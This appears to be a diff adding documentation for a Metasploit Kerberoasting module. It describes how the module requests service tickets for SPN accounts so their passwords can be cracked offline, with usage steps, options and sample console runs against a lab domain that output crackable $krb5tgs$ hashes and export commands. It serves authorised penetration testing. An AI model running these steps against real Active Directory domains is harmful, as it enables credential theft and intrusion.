|
| 1 | +## Kerberoast |
| 2 | + |
| 3 | +This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts. |
| 4 | + |
| 5 | +## Module usage |
| 6 | + |
| 7 | +- Start `msfconsole` |
| 8 | +- Do: `use auxiliary/gather/kerberoast` |
| 9 | +- Do: `run rhost=<IP> domain=<FQDN> password=<pass> username=<username> target_user=<optional_user>` |
| 10 | +- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket. |
| 11 | +- If no target user has been requested, the module will request service tickets for all available users. |
| 12 | +- A crackable value will be displayed for all valid accounts. |
| 13 | + |
| 14 | + |
| 15 | +## Options |
| 16 | + |
| 17 | +### DOMAIN / LDAPDOMAIN |
| 18 | +The Fully Qualified Domain Name (FQDN). Ex: mydomain.local. |
| 19 | + |
| 20 | +### USERNAME / LDAPUSERNAME |
| 21 | +The username to authenticate to the DC with |
| 22 | + |
| 23 | +### PASSWORD / LDAPPASSWORD |
| 24 | +The password to authenticate to the DC with |
| 25 | + |
| 26 | +### Rhostname |
| 27 | + |
| 28 | +The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required. |
| 29 | + |
| 30 | +## Scenarios |
| 31 | + |
| 32 | +### Target user |
| 33 | + |
| 34 | +To retrieve a TGS for a particular user, set `TARGET_USER`. |
| 35 | + |
| 36 | +```msf |
| 37 | +msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin |
| 38 | +[*] Running module against 20.248.208.9 |
| 39 | +[+] 20.248.208.9:88 - Received a valid TGT-Response |
| 40 | +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin |
| 41 | +[+] 20.248.208.9:88 - Received a valid TGS-Response |
| 42 | +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin |
| 43 | +[+] Success: |
| 44 | +$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba... |
| 45 | +[*] Auxiliary module execution completed |
| 46 | +``` |
| 47 | + |
| 48 | +### All users |
| 49 | + |
| 50 | +``` |
| 51 | +msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin |
| 52 | +[*] Running module against 20.248.208.9 |
| 53 | +
|
| 54 | +[+] 20.248.208.9:88 - Received a valid TGT-Response |
| 55 | +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin |
| 56 | +[+] 20.248.208.9:88 - Received a valid TGS-Response |
| 57 | +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin |
| 58 | +[+] 20.248.208.9:88 - Received a valid TGT-Response |
| 59 | +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin |
| 60 | +[+] 20.248.208.9:88 - Received a valid TGS-Response |
| 61 | +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin |
| 62 | +
|
| 63 | +[+] Query returned 2 results. |
| 64 | +[+] Success: |
| 65 | +$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848... |
| 66 | +$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48... |
| 67 | +[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type. |
| 68 | +[*] To obtain the crackable values for a praticular type, run `creds`: |
| 69 | +[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o <outfile.(jtr|hcat)> |
| 70 | +[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o <outfile.(jtr|hcat)> |
| 71 | +[*] Auxiliary module execution completed |
| 72 | +``` |
0 commit comments